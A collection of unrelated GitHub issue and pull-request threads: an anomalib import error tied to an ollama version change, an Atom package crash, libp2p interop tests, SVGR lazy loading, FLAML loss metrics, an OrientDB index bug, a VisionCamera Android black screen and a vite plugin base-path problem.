[Bug]: cannot import name '_encode_image' from 'ollama._client'

Describe the bug
when i run train.py, ImportError: cannot import name '_encode_image' from 'ollama._client'

Dataset
Other (please specify in the text field below)
Model
PatchCore
Steps to reproduce the behavior
install anomalib use anaconda prompt
OS information
OS information:

OS: win10
Python version: 3.10
Anomalib version: 1.2.0
PyTorch version: 2.5.1+cpu
CUDA/cuDNN version: none
GPU models and configuration: cpu
Any other relevant information: [e.g. I'm using a custom dataset]

Expected behavior
Traceback (most recent call last):
File "E:\model\anomalib-main\train.py", line 3, in
from anomalib.models import Patchcore
File "E:\model\anomalib-main\src\anomalib\models_init_.py", line 15, in
from .image import (
File "E:\model\anomalib-main\src\anomalib\models\image_init_.py", line 23, in
from .vlm_ad import VlmAd
File "E:\model\anomalib-main\src\anomalib\models\image\vlm_ad_init_.py", line 6, in
from .lightning_model import VlmAd
File "E:\model\anomalib-main\src\anomalib\models\image\vlm_ad\lightning_model.py", line 14, in
from .backends import Backend, ChatGPT, Huggingface, Ollama
File "E:\model\anomalib-main\src\anomalib\models\image\vlm_ad\backends_init_.py", line 9, in
from .ollama import Ollama
File "E:\model\anomalib-main\src\anomalib\models\image\vlm_ad\backends\ollama.py", line 23, in
from ollama._client import _encode_image
ImportError: cannot import name '_encode_image' from 'ollama._client' (C:\Users\zjy\AppData\Local\anaconda3\envs\anomalib_env\lib\site-packages\ollama_client.py)
Screenshots
No response
Pip/GitHub
GitHub
What version/branch did you use?
No response
Configuration YAML
# Import the required modules
from anomalib.data import MVTec
from anomalib.models import Patchcore
from anomalib.engine import Engine
from anomalib.data import Folder
from anomalib.utils.normalization import NormalizationMethod

# Initialize the datamodule, model and engine
# datamodule = MVTec(num_workers=0)
model = Patchcore()
engine = Engine(
    default_root_dir = './result',
    task = "classification",
    callbacks = None,
    normalization = NormalizationMethod.MIN_MAX,
    threshold = "F1AdaptiveThreshold",
    image_metrics = None,
    pixel_metrics = None,
    logger = None
)

datamodule = Folder(
    name="mvtec",
    root="../datasets/CSP",
    normal_dir="normal",
    abnormal_dir="abnormal",
    task="classification",
    train_batch_size=16,
    eval_batch_size=16,
    num_workers=0,
    image_size=[1024, 1024],
    mask_dir=None,
    normal_split_ratio=0.2,
    seed=None,
)

datamodule.setup()

# Train the model
engine.train(datamodule=datamodule, model=model)

Logs
Traceback (most recent call last):
  File "E:\model\anomalib-main\train.py", line 3, in <module>
    from anomalib.models import Patchcore
  File "E:\model\anomalib-main\src\anomalib\models\__init__.py", line 15, in <module>
    from .image import (
  File "E:\model\anomalib-main\src\anomalib\models\image\__init__.py", line 23, in <module>
    from .vlm_ad import VlmAd
  File "E:\model\anomalib-main\src\anomalib\models\image\vlm_ad\__init__.py", line 6, in <module>
    from .lightning_model import VlmAd
  File "E:\model\anomalib-main\src\anomalib\models\image\vlm_ad\lightning_model.py", line 14, in <module>
    from .backends import Backend, ChatGPT, Huggingface, Ollama
  File "E:\model\anomalib-main\src\anomalib\models\image\vlm_ad\backends\__init__.py", line 9, in <module>
    from .ollama import Ollama
  File "E:\model\anomalib-main\src\anomalib\models\image\vlm_ad\backends\ollama.py", line 23, in <module>
    from ollama._client import _encode_image
ImportError: cannot import name '_encode_image' from 'ollama._client' (C:\Users\zjy\AppData\Local\anaconda3\envs\anomalib_env\lib\site-packages\ollama\_client.py)

Code of Conduct

[X] I agree to follow this project's Code of Conduct

Looks like the api has changed a bit in ollama. Can you try installing the library as follows: `pip install "llama<0.4"

Until we adapt the new API changes, this should work

but i have a new question, LightningModule.configure_optimizers returned None, this fit will run with no optimizer, and training_step returned None
C:\Users\zjy\AppData\Local\anaconda3\envs\anomalib_env\lib\site-packages\timm\models\layers_init_.py:48: FutureWarning: Importing from timm.models.layers is deprecated, please import via timm.layers
warnings.warn(f"Importing from {name} is deprecated, please import via timm.layers", FutureWarning)
INFO:anomalib.data.base.datamodule:No normal test images found. Sampling from training set using a split ratio of 0.20
dict_keys(['image_path', 'label', 'image'])
dict_keys(['image_path', 'label', 'image'])
dict_keys(['image_path', 'label', 'image'])
INFO:anomalib.models.components.base.anomaly_module:Initializing Patchcore model.
INFO:timm.models._builder:Loading pretrained weights from Hugging Face hub (timm/wide_resnet50_2.racm_in1k)
INFO:timm.models._hub:[timm/wide_resnet50_2.racm_in1k] Safe alternative available for 'pytorch_model.bin' (as 'model.safetensors'). Loading weights using safetensors.
INFO:timm.models._builder:Missing keys (fc.weight, fc.bias) discovered while loading pretrained weights. This is expected if model is being adapted.
GPU available: False, used: False
TPU available: False, using: 0 TPU cores
HPU available: False, using: 0 HPUs
INFO:anomalib.data.base.datamodule:No normal test images found. Sampling from training set using a split ratio of 0.20
WARNING:anomalib.metrics.f1_score:F1Score class exists for backwards compatibility. It will be removed in v1.1. Please use BinaryF1Score from torchmetrics instead
C:\Users\zjy\AppData\Local\anaconda3\envs\anomalib_env\lib\site-packages\lightning\pytorch\core\optimizer.py:182: LightningModule.configure_optimizers returned None, this fit will run with no optimizer
| Name                  | Type                     | Params | Mode
0 | model                 | PatchcoreModel           | 24.9 M | train
1 | _transform            | Compose                  | 0      | train
2 | normalization_metrics | MetricCollection         | 0      | train
3 | image_threshold       | F1AdaptiveThreshold      | 0      | train
4 | pixel_threshold       | F1AdaptiveThreshold      | 0      | train
5 | image_metrics         | AnomalibMetricCollection | 0      | train
6 | pixel_metrics         | AnomalibMetricCollection | 0      | train
24.9 M    Trainable params
0         Non-trainable params
24.9 M    Total params
99.450    Total estimated model params size (MB)
15        Modules in train mode
174       Modules in eval mode
C:\Users\zjy\AppData\Local\anaconda3\envs\anomalib_env\lib\site-packages\lightning\pytorch\trainer\connectors\data_connector.py:424: The 'train_dataloader' does not have many workers which may be a bottleneck. Consider increasing the value of the num_workers argumenttonum_workers=11in theDataLoaderto improve performance. C:\Users\zjy\AppData\Local\anaconda3\envs\anomalib_env\lib\site-packages\lightning\pytorch\trainer\connectors\data_connector.py:424: The 'val_dataloader' does not have many workers which may be a bottleneck. Consider increasing the value of thenum_workers argument to num_workers=11 in the DataLoader to improve performance.
Epoch 0:   0%|          | 1/250 [00:51<3:35:14,  0.02it/s]C:\Users\zjy\AppData\Local\anaconda3\envs\anomalib_env\lib\site-packages\lightning\pytorch\loops\optimization\automatic.py:132: training_step returned None. If this was on purpose, ignore this warning...

Patchcore doesn't have an optimizer, so this is on purpose. As long as you get a val/test score, everything works as expected

Thanks, So is everything normal like this? Just wait for it to finish training and produce results?

And I also have another question：How can I continue training the model based on the results of the previous training session?

Looks like the api has changed a bit in ollama. Can you try installing the library as follows: pip install "llama<0.4"

it is not `pip install "llama<0.4". it is 'pip install "ollama<0.4"....

well it's a typo, thanks for the fix

I can't seem to get past this at the moment, I am logged in to a JupterHub server and after Anomalib install I then downgrade ollama. Then I confirm that as below...

However still get the error importing engine... Any thoughts on what I can do?


Uncaught TypeError: Bart.progressMsg.clear is not a function

[Enter steps to reproduce:]

...
...

Atom: 1.16.0 x64
Electron: 1.3.13
OS: Mac OS X 10.12.4
Thrown From: Bart package 1.7.0
Stack Trace
Uncaught TypeError: Bart.progressMsg.clear is not a function
At /Users/josecassany/.atom/packages/Bart/lib/bart.js:353

TypeError: Bart.progressMsg.clear is not a function
    at Object.uploadAll (/packages/Bart/lib/bart.js:353:30)
    at CommandRegistry.module.exports.CommandRegistry.handleCommandEvent (/app.asar/src/command-registry.js:259:29)
    at CommandRegistry.handleCommandEvent (/app.asar/src/command-registry.js:3:59)
    at CommandRegistry.module.exports.CommandRegistry.dispatch (/app.asar/src/command-registry.js:160:19)
    at AtomEnvironment.module.exports.AtomEnvironment.dispatchApplicationMenuCommand (/app.asar/src/atom-environment.js:1179:28)
    at EventEmitter.outerCallback (/app.asar/src/application-delegate.js:312:25)
    at emitThree (events.js:116:13)
    at EventEmitter.emit (events.js:194:7)

Commands
  2x -1:04.4.0 bart:uploadAll (div.panels-item)

Non-Core Packages
Bart 1.7.0

Could you please install busy-signal?
I thought that atom takes care about dependency automatically...

Sorry for introducing instability...

Thank you. I installed busy signal. I don't see any errors now. But it doesn't seem to be working correctly. Auto upload is not working correctly. Let me do some more testing.

Nope. Even with busy signal installed I couldn't send the new zip to my remote. It gets stuck in "sending zip to remote" forever. I have another machine with the old version of Bart and works like a charm. No need to apologize LOL I've been using Bart for a long time now and it is great to have an option to work out of eclipse

Thanks for patient.
Yes, I've tested and upload all forks for me... but looks I've missed something.
Is your directory structure something like this?

Yes, my directory looks very similar, just plain catridges. Also use source tree for branching. As of right now I went back to the old version of Bart and works as intended. Thanks for working on this.

Hi @jcassanyjcs. I've released new version 1.8.0 where changed all a watching logic and upload all cartridges. Could you please verify if it solve this issue?

@SqrTTT Thank you! this version works. Was able to upload all cartridges correctly and all errors are gone.

Thank you for a reporting and testing. Feel free to report any weird things that you notice.


Feature: Overview Table Implementation

Feature Details
Create htmlwidget from custom JS library implementation of the overview table for reporting.

Partial implementation is in place in dev-v2 branch, but needs additional clean-up.

https://github.com/Gilead-BioStats/rbm-viz/pull/371

This is mostly resolved. Just need to confirm that table is rendering as expected in site-level KRI reports. May need to file a separate issue to implement in country-level reportin?


Replace spdy with multiplex + echo example changes

Replaced spdy with multiplex for testing interop with go-libp2p.
Changed the dialer in the echo example to accept argument for who to dial.
js and go interop
Test of the interopability between js-libp2p and go-libp2p
Fixes pending

Enable multiplex in go-libp2p-swarm

https://github.com/libp2p/go-libp2p-swarm/pull/16

How to test
have projects ipfs/js-libp2p-ipfs-nodejs and libp2p/go-libp2p
cloned locally.
In libp2p/go-libp2p:
➜  go-libp2p git:(master) ls
CONTRIBUTE.md Makefile      TODO          p2p           roadmap.md
LICENSE       README.md     examples      package.json
➜  go-libp2p git:(master) cd examples/echo
➜  echo git:(master) ls
README.md main.go
➜  echo git:(master) go run main.go -l 4444
12:08:10.764 WARNI     swarm2: Listener not given PrivateKey, so WILL NOT SECURE conns. swarm_listen.go:83
2017/01/24 12:08:10 I am /ip4/<IP_ADDRESS>/tcp/4444/ipfs/QmPbpcZzM2Ac47uA2oebSaDPVbSccGtRFf8rbF4dpNHteN
2017/01/24 12:08:10 listening for connections

Copy address from "I am", which in this case is /ip4/<IP_ADDRESS>/tcp/4444/ipfs/QmPbpcZzM2Ac47uA2oebSaDPVbSccGtRFf8rbF4dpNHteN
In ipfs/js-libp2p-ipfs-nodejs:
➜  echo git:(master) ✗ node dialer.js /ip4/<IP_ADDRESS>/tcp/4444/ipfs/QmU9jbSMad771NY4YC6fWV9VQxcaB8Q4b6F8WmfXnLSTEe
Dialer ready, listening on:
/ip4/<IP_ADDRESS>/tcp/4444/ipfs/QmU9jbSMad771NY4YC6fWV9VQxcaB8Q4b6F8WmfXnLSTEe/ipfs/QmcrQZ6RJdpYuGvZqD5QEHAv6qX4BrQLJLQPQUrTrzdcgm
nodeA dialed to nodeB on protocol: /echo/1.0.0
received data: hey

And in the output of libp2p/go-libp2p, you'll see:
12:09:37.492 WARNI       conn: listener %s listening INSECURELY! <Listener <peer.ID U9jbSM> /ip4/<IP_ADDRESS>/tcp/4444> listen.go:108
2017/01/24 12:09:37 Got a new stream!
2017/01/24 12:09:37 read request: "hey"

So everything was working in the interop tests!
However
This branch fails with two test failures:
  1) libp2p-ipfs-nodejs libp2p.hangupByMultiaddr nodeA to nodeB:
     Uncaught AssertionError: expected [ Array(1) ] to have a length of 0 but got 1
      at parallel (test/libp2p.spec.js:267:65)
      at node_modules/async/internal/parallel.js:27:9
      at eachOfArrayLike (node_modules/async/eachOf.js:57:9)
      at exports.default (node_modules/async/eachOf.js:9:5)
      at _parallel (node_modules/async/internal/parallel.js:26:5)
      at parallelLimit (node_modules/async/parallel.js:85:26)
      at Timeout.check [as _onTimeout] (test/libp2p.spec.js:262:9)

  2) libp2p-ipfs-nodejs libp2p.hangupByPeerInfo nodeA to nodeB:
     TypeError: "listener" argument must be a function
      at MultiplexMuxer.end (node_modules/libp2p-multiplex/src/muxer.js:57:20)
      at Swarm.hangUp (node_modules/libp2p-swarm/src/index.js:117:13)
      at Node.hangUpByPeerInfo (node_modules/libp2p/src/index.js:259:16)
at Context.it (test/libp2p.spec.js:340:11)

Now latest js-libp2p-ipfs-nodejs can use both muxer, let's continue tracking this bug here: https://github.com/ipfs/js-libp2p-ipfs-nodejs/issues/59


Add startAfter argument to start scrolling after a duration

As discussed in #39.

Apart from the typo, this looks really good to me. Looking forward to merging this! 😄
Also, thanks for taking the time to contribute and creating a PR, I really appreciate that.

Fixed.

Also, thanks for taking the time to contribute and creating a PR, I really appreciate that.

No problem, it was surprisingly simple.

Nice, I published this as version 1.6.0 on pub.dev


HAWQ-229. Forbid altering external table through altering table.

Forbid altering external table through altering table.

The fix looks good. +1

Look good. +1.


invoke /app/docker-entrypoint.sh when reloading nginx-proxy

The /app/docker-entrypoint.sh within nginx-proxy sets the RESOLVERS environment variable, so when docker-proxy is invoked without it the resolvers aren't set in the nginx config.
The more general problem, which this PR doesn't fix, is that all other environment variables are also clobbered when the config is generated by these means.
Unfortunately, as docker-gen is run via forego within docker-proxy, a HUP signal sent to the docker-proxy container won't be passed through (it just kills the container). I think the actual fix here is probably to change the handling of HUP's within forego?
Might also be worth a note in the README as it took me ages to work out why this environment variable seemed not to be set sometimes...

The docker_api test unit has to be modified to take your changes into account.

:) So I see! Just fixing now.

Done :)

LGTM, thanks for this PR !


does images hosted on imgur expires?

If I publish to my wordpress blog using classeur, the images are shown on the blog with this url:
http://i1.wp.com/i.imgur.com/kQTeILV.png?ssl=1. It is safe to keep the blog post that way forever, or should I change the path to my wordpress site?

Dear @vladejs,
Images are hosted on imgur.com.
Of course, nothing is with certainty but I would assume that images are stored safely there as imgur has been around for quite some years and is known as a reliable image host.
Warmly,
~Robert


SVGR dynamic import with Webpack (& React Lazy?)

💬 Questions and Help
Thank you for this helpful project!
I'm trying to dynamically import SVGs based on a string filename, but I'm a little lost.
Is something like this possible using webpack import?
import React, { Suspense } from "react";

const Logo = ({ brand }) => {
  const Svg = React.lazy(() => import(`../logos/${brand}.svg`));

  return (
    <Suspense fallback={<>{/* loader */}</>}>
      <Svg className={brand} />
    </Suspense>
  );
};

When I run the webpack build, I get same error for every SVG in the folder.
ERROR in ./src/logos/somebrand.svg 1:0
Module parse failed: Unexpected token (1:0)
You may need an appropriate loader to handle this file type,
currently no loaders are configured to process this file.
See https://webpack.js.org/concepts#loaders

webpack.config.js setup following docs:
  return {
    module: {
      rules: [
        {
          test: /\.svg$/i,
          issuer: /\.[jt]sx?$/,
          use: ['@svgr/webpack'],
        },
      ],
    },
  };

I've tried adding 'file-loader',  to the use to no avail. Apologies if I'm off track in some obvious way, I'm fairly new to SVGR & React.  I read somewhere that SVGR creates a mapping during build, so if there is a simpler way to just load the right SVG dynamically based on a string, an example would be great to have in docs. My apologies if this is documented already, I searched, scanned, and couldn't find anything relevant.

Same issue with me

Hi, I am very surprised that it does not work. I think it is a webpack configuration issue more than a SVGR one. By looking at your example I have no idea why it does not work. Maybe someone else could guess.

How about for rollup, is there any way to make load svg dynamically?

I'm facing a different problem, hopefully someone can help me. I have an UI library with an Icon component:
import clsx from 'clsx';
import styles from './Icon.module.scss';
import { icons } from './icons';
import { Suspense, useMemo } from 'react';

export type IconName = keyof typeof icons;

export type IconProps = React.HTMLAttributes<HTMLDivElement> & {
    icon: IconName;
    disabled?: boolean;
};

export const Icon: React.FC<IconProps> = ({ icon, disabled = false, ...props }: IconProps) => {
    const SvgIcon = useMemo(() => icons[icon], [icon]);
    const classNames = clsx(styles.root, disabled ? styles.disabled : '', props.className);

    if (!SvgIcon) return null;

    return (
        <div
            {...props}
            className={classNames}
        >
            <Suspense fallback={null}>
                <SvgIcon style={{ width: '100%', height: '100%' }} />
            </Suspense>
        </div>
    );
};

export default Icon;

The content of my icons.ts looks like this
import React from 'react';

const lazy = (componentImportFn: Function) =>
    React.lazy(async () => {
        let obj = await componentImportFn();
        return typeof obj.default === 'function' ? obj : obj.default;
    });

export const icons = {
    Icon1: lazy(async () => import('./assets/ico-icon1.svg')),
    Icon2: lazy(async () => import('./assets/ico-icon2.svg')),
    Icon3: lazy(async () => import('./assets/ico-icon3.svg')),
    Icon4: lazy(async () => import('./assets/ico-icon4.svg')),
}

And my NextJs config looks like this as described here
/** @type {import('next').NextConfig} */

const nextConfig = {
    output: 'export',
    distDir: 'build-next-static',
    swcMinify: true,
    reactStrictMode: true,
    webpack(config) {
        // Grab the existing rule that handles SVG imports
        const fileLoaderRule = config.module.rules.find((rule) => rule.test?.test?.('.svg'));

        config.module.rules.push(
            // Reapply the existing rule, but only for svg imports ending in ?url
            {
                ...fileLoaderRule,
                test: /\.svg$/i,
                resourceQuery: /url/, // *.svg?url
            },
            // Convert all other *.svg imports to React components
            {
                test: /\.svg$/i,
                // issuer: /\.[jt]sx?$/,
                resourceQuery: { not: /url/ }, // exclude if *.svg?url
                use: ['@svgr/webpack'],
            }
        );

        // Modify the file loader rule to ignore *.svg, since we have it handled now.
        fileLoaderRule.exclude = /\.svg$/i;

        return config;
    },
};

module.exports = nextConfig;

And when calling the Icon button in a nextjs page e.g.
import { Icon } from 'ui';

export default function Page() {
    return (
        <>
            <Icon icon="Icon1" />
        </>
    );
}

I'm getting the following error from nextjs
Unhandled Runtime Error
Error: Unsupported Server Component type: undefined
Can someone push me in a direction or better have a solution for me ?

I have a similar problem, although with a slightly different error:
So, usage looks something like this (we’re using @svgr/webpack to transform svg’s on the fly):
const logos = {
  brand1: lazy(() => import('path/to/brand1logo.svg')),
  brand2: lazy(() => import('path/to/brand2logo.svg')),
};

const LogoComponent = ({ brand }) => {
  const Logo = logos[brand];

  return (
    <Suspense fallback={null}>
      <Logo />
    </Suspense>
  )
}

…and what I’m getting in the console is the following:
react-dom.development.js:17733 Uncaught Error: Element type is invalid. Received a promise that resolves to: /path/to/logo.svg. Lazy element type must resolve to a class or function.

It feels like we’re getting back something that isn’t a valid component, so React does not know what to do with it. In my head, I’d figure that SVGR would do the transformation from svg → react component before the promise resolves (or, at least before React sinks its teeth in it), but perhaps that’s not the case? Any ideas?

Relevant addendum: We’re still on webpack 4.x.x, which I’m beginning to suspect might be part of the problem…
In another greenfield project where we’re using Next, we’re able to do the above just fine (just using Next’s dynamic() instead of lazy/Suspense). We had to move away from using variables as part of the dynamic import path though (../logos/${brand}.svg) – never got that to work, regardless of which setup we introduced it to.


What is the type of loss in the log?

When I trained a model with the following parameters, FLAML gave me some log information, but I still had some confusion about two parameters, loss and eval_loss.
My params:
    automl_settings = {
        "n_jobs": 2,
        "verbose":2,
        "n_concurrent_trials" : 5,
        "gpu_per_trial": 0,
        "max_iter": 100,
        "min_sample_size": 50000,
        "task": "seq-regression",
        "ensemble": True,
        "log_file_name": f"{model_name}.log",
    }
    automl_settings["fit_kwargs_by_estimator"] = {  # setting the huggingface arguments
        "transformer": {
            "output_dir": model_name,
            "fp16": False,
        }
    }
    automl_settings['custom_hp'] = {
        "transformer": {
            "model_path": {
                "init_value": "google/electra-small-discriminator",
                "domain": tune.choice(["albert-base-v2", "google/electra-small-discriminator", "facebook/muppet-roberta-base"]),
            },
            "learning_rate": {
                "domain": tune.choice([1e-4, 1e-5]),
            },
            "num_train_epochs": {
                "domain": tune.randint(1, 15)
            }
        }
    }
    automl_settings['metric'] = "r2"
    seq_predictor.fit(
        X_train=X_train, y_train=y_train, X_val=X_val, y_val=y_val, **automl_settings
    )

Output:
{'eval_loss': 2.2773654460906982, 'eval_automl_metric': 0.8865896318335299, 'eval_runtime': 585.1213, 'eval_samples_per_second': 19.003, 'eval_steps_per_second': 19.003, 'epoch': 3.0}
{'train_runtime': 4376.1113, 'train_samples_per_second': 6.855, 'train_steps_per_second': 0.215, 'train_loss': 3.975694877778887, 'epoch': 3.0}

I'm guessing that eval_automl_metric means that the metric I specified is also R2, but I don't find an option in the documentation to specify the loss function in the fit function, is the default loss RMSE?

Hi! eval_loss is the loss (e.g., cross entropy loss) of the validation data, whereas eval_automl_metric is 1-metric (of the validation data). Yes, in your case, the metric is set to R2, so eval_automl_metric = 1- the R2 score.
When you set the task to seq-regression, the default metric is R2: https://github.com/microsoft/FLAML/blob/main/flaml/nlp/utils.py#L18
If you want to use RMSE, you can set metric by:
automl_settings['metric'] = "rmse"

Thank you for your reply.
I'm doing a regression task where two sequences determine a value, in fact I tried AutoGluon and got very poor results, probably it's a difficult task (for a novice like me), emm...... let me try again with other parameters.

Thank you for your reply.
I'm doing a regression task where two sequences determine a value, in fact I tried AutoGluon and got very poor results, probably it's a difficult task (for a novice like me), emm...... let me try again with other parameters.

@liususan091219  An another topic, can I specify to train two different transformer models separately for two different sentences in the sequence regression task?
After all, while in more common NLP tasks two sentences are two similar languages, in my task the two sentences are in almost completely different languages, and I wanted to capture the connection between them.

Hello, thanks for sharing your use case. It may be helpful to learn more details about your application and I will try my best to help you improve your results. We invited you to gitters, feel free to drop me a line there!

Thanks, I will try to complete a whole training session with the default FLAML settings first. I will share my case with you in detail by email (or other ways you like). BTW, I have just signed up for gitters, maybe I won't get your invitation before then.

Thanks, I will try to complete a whole training session with the default FLAML settings first. I will share my case with you in detail by email (or other ways you like). BTW, I have just signed up for gitters, maybe I won't get your invitation before then.

Sounds good. My email address is<EMAIL_ADDRESS>and I just added you to Gitter FLAMLer through your github account!


Update GitHub Actions workflows

Some workflows are configured to only run on the default branch.
Update them to use the new default branch name and raise a pull request for review

A few other CI systems possibly worth detecting:

Azure Pipelines
CircleCI
Cirrus CI
Travis CI

I expect Travis CI in particular is pretty commonly used.


Orientdb getVertices() returning Vertex for any label present in database after vertex indexed  with unique name(String) property

OrientDB Version, operating system, or hardware.

v2.2 SNAPSHOT[ ] - .10

Operating System

Linux

Expected behavior and actual behavior
Orientdb getVertices(lable, [] iKey, [] iValue)) returing Vertex for any label present in database after I index my vertex by unique name(String) property
Steps to reproduce the problem
`public class App
{
    public static void main( String[] args )
    {
        String DB_NAME = "WonderLand";
        OrientGraph graph = Service.getOrCreateGraphInstance(DB_NAME);

        OrientVertexType ovt = graph.createVertexType("Person");
        OrientVertexType ovt1 = graph.createVertexType("Relation");

        graph.createKeyIndex("uid", Vertex.class, new Parameter("type", "UNIQUE"));

    OrientVertex v = graph.addVertex("class:Person");

        v.setProperties("uid", "ram");
        v.setProperties("event", "Login");

        Iterable<Vertex> it = graph.getVertices("Person", new String[]{"uid"}, new String[]{"ram"});
        System.out.println("vertex Person->> " + it.iterator().next());

        Iterable<Vertex> it2 = graph.getVertices("Relation", new String[]{"uid"}, new String[]{"ram"});
        System.out.println("vertex Relation->> " + it2.iterator().next());

       }
}
`

Result with Indexing :

vertex Person->> v(Person)[#-1:-2]
vertex Relation->> v(Person)[#-1:-2]

Result without Indexing :

vertex Person->> v(Person)[#-1:-2]

kindly have a look at this [http://stackoverflow.com/questions/39999533/orientdb-getvertices-returing-vertex-for-any-label-present-in-database](stack overflow link) for more detail.

hi @prakashpandey.
with the graph.createKeyIndex you are creating a index in the whole database, use instead:
    OrientVertexType vertexType = graph.createVertexType("Person");
    OrientVertexProperty prop = vertexType.createProperty("uid", OType.STRING);
    prop.createIndex(INDEX_TYPE.UNIQUE);

hope this help

Hi @prakashpandey,
Yes anyway there is a discrepancy on the getVertices behaviour that should be fixed, thanks for reporting.
Bye

Thanks, I will try v2.2.13.
Hopefully will get resolved in that version.

hi,
fixed also this incongruency, will be released in 2.2.14, closing


Adds new outputStream configuration. (DAT-13144)

Impact

[ ] Bug fix (non-breaking change which fixes expected existing functionality)
[x] Enhancement/New feature (adds functionality without impacting existing logic)
[ ] Breaking change (fix or feature that would cause existing functionality to change)

Description
Adds new outputStream command line configuration. Used to redirect all logging to STDOUT/STDERR.

Things to be aware of
~This likely has some impact on maven usage, but I have not tested it.~ Turns out it doesn't because it's gated behind params that do not exist in maven.

Things to worry about

Additional Context

Closing in favor of new approach with new ticket.


[Question] Request for Guidance: Connecting to Arbin Library without Arbin Software/Hardware

Hello there !!
I currently do not have any Arbin cyclers or related software, but I am keen on connecting to the library through spoofers to retrieve data for further analysis. In this regard, I would greatly appreciate your assistance in providing information or scheduler files that could facilitate this process.
If there are any specific procedures or resources that I need to be aware of, please guide me accordingly. I am eager to explore the capabilities of the Arbin Library and leverage the data for my projects.
Additionally, if there is a sample piece of code that accomplishes a similar connection to the library for data retrieval using spoofers, it would be of great help in understanding the integration process. I am expecting of some random data to be generated.
Thanks.

This can be done, just like to pymacnet. Closing for now. Feel free to re-open it if you have more questions,


⚠ ClamAV has degraded performance

In c7220ad, ClamAV (https://spamassassin.apache.org/) experienced degraded performance:

HTTP code: 200
Response time: 66 ms

Resolved: ClamAV performance has improved in 2df50b0.


🐛 Still face issue andoid black screen when navigate to camera page

What's happening?
const device = useCameraDevice(isFront ? 'front' : 'back');
const format = useCameraFormat(device, [
{ videoResolution: 'max' },
{ photoResolution: 'max' },
{ videoResolution: { width: 1280, height: 720 } },
{ photoResolution: { width: 1280, height: 720 } },
]);
<Camera
orientation="portrait"
format={format}
device={device}
isActive={true}
ref={cameraRef}
onError={(e) => {
console.log('eRROR-->', e);
}}
style={[StyleSheet.absoluteFill]}
photo={true}
video={true}
audio={true}
enableZoomGesture={true}
>
this is my code on the camera page. when navigating this page I get a black screen.
but I temporarily solved
const handleCameraActive = () => {
setisActive(false);
setTimeout(() => {
setisActive(true);
}, 1500);
};
useEffect(() => {
handleCameraActive();
}, [isFront]);
also above code works very well on iOS device.
Reproduceable Code
<Camera
orientation="portrait"
format={format}
device={device}
isActive={true}
ref={cameraRef}
onError={(e) => {
console.log('eRROR-->', e);
}}
style={[StyleSheet.absoluteFill]}
photo={true}
video={true}
audio={true}
enableZoomGesture={true}
>

Relevant log output
getting black screen when navigating to camera page.

Camera Device
{
  "sensorOrientation": "landscape-right",
  "hardwareLevel": "full",
  "maxZoom": 7,
  "minZoom": 0.6150000095367432,
  "maxExposure": 144,
  "supportsLowLightBoost": false,
  "neutralZoom": 1,
  "physicalDevices": [
    "wide-angle-camera",
    "ultra-wide-angle-camera"
  ],
  "supportsFocus": true,
  "supportsRawCapture": true,
  "isMultiCam": true,
  "minExposure": -144,
  "name": "BACK (0)",
  "hasFlash": true,
  "hasTorch": true,
  "position": "back",
  "id": "0"
}

Device
android
VisionCamera Version
3.6.17
Can you reproduce this issue in the VisionCamera Example app?
Yes, I can reproduce the same issue in the Example app here
Additional information

[X] I am using Expo
[ ] I have enabled Frame Processors (react-native-worklets-core)
[X] I have read the Troubleshooting Guide
[X] I agree to follow this project's Code of Conduct
[X] I searched for similar issues in this repository and found none.

I have the same issues. I used the setTimout hack, but it doesn't work on all devices. I am also using react-navigation.

I have the same issues. I used the setTimout hack, but it doesn't work on all devices. I am also using react-navigation.

could you give example?

I also have this issue, and i found out a way to resolve it.
Add method onInitialized check camera initialize, then set flag isActive = true. This means value isActive=true must after process initialize of camera is completed.

I also have this issue, and i found out a way to resolve it. Add method onInitialized check camera initialize, then set flag isActive = true. This means value isActive=true must after process initialize of camera is completed.

Thank you. It worked for me. Could you find the root cause of this issue?

I also have this issue, and i found out a way to resolve it. Add method onInitialized check camera initialize, then set flag isActive = true. This means value isActive=true must after process initialize of camera is completed. Hope this useful to you!

can you share your code

You should downgrade the library to v3.6.16.
#2340

Hey! Thanks for reporting this issue.
I've been working the past days on making sure the Camera lifecycle is safely handled and released when needed, so this crash doesn't occur anymore.
I just created a PR for this - can you please this to see if that fixes the issue for you? https://github.com/mrousavy/react-native-vision-camera/pull/2339
If this fixes your issue, please consider 💖 sponsoring me on GitHub 💖 to support me / thank me for building VisionCamera and continuously improving it.
If this does not fix your issue, please clone the repo, check out the branch fix/blackscreen (the PR above), run the Example app, reproduce your issue there and share the adb logcat logs with me (upload to pastebin or gist) so I can investigate this further.
Thank you! 🙏

@mrousavy Still having black screen issues with android on initial app launch using v3.7.0

Please create a new issue with adb logcat logs and repro.


Fix typo in :source_target_arch property in install.rb

Description
Fixes the typo in the :source_target_arch property in install.rb
Issues Resolved
None?
Contribution Check List

[ ] All tests pass.
[ ] New functionality includes testing.
[ ] New functionality has been documented in the README if applicable

Hah, nice spot. Thanks very much!


Doesn't work if base is set to a folder

I'm working on a vite app that I am deploying to a subfolder, like http://example.com/my-app/
So I had set the base option in vite to "/my-app/".
Later I realized a single file bundle made sense, so I tried using this plugin. It failed silently by not inlining any CSS/JS but still deleting my CSS/JS files.
Deleting the base option (which doesn't really do anything when bundling to a single file, I think) fixes this problem. But I figure you should at least show an error message in the case where you notice a CSS/JS file, try to inline it in index.html, but actually the regex doesn't match anything so no replacement happens. Or, make the regex a little more broad so it supports arbitrary values in base.

Also, thanks for the plugin, it is very useful :)

In the next version, I've updated base to undefined when using the "recommended" configuration. For anything more, I think I'd need a test repo, ideally forked from the official example.

Thanks that works in most cases, but would cause a problem if someone used the inlinePattern option to only inline some resources.
Example: https://github.com/dumbmatter/vite-plugin-singlefile-example/tree/base is set to only inline CSS, and to use a custom "base" option which is important because not everything is inlined. This results in the CSS failing to be included in index.html on npm run build.
A better solution would be to handle replacing script/link tags when a value for "base" is present.

Also I think it's a bit invasive to automatically override user-defined settings like "base" from vite.config.js unless you manually opt out with useRecommendedBuildConfig. Changing the built-in defaults for settings that the user has not specified is less invasive, but as a user I don't expect things I manually specify to be overwritten. It'd be better to at least show a warning if it's doing that (idk much about vite so I don't know how easy that is!).


Change Simd::splat to not generate a loop

This fixes poor codegen in some circumstances for u16x8::splat on x86_64
https://rust-lang.zulipchat.com/#narrow/stream/257879-project-portable-simd/topic/Very.20bad.20.60u16x8.3A.3Asplat.60.20codegen.20on.20x86_64
This changes splat to not be const since that now depends on const traits.
This is a workaround for: https://github.com/rust-lang/rust/issues/97804
Fixes: #283

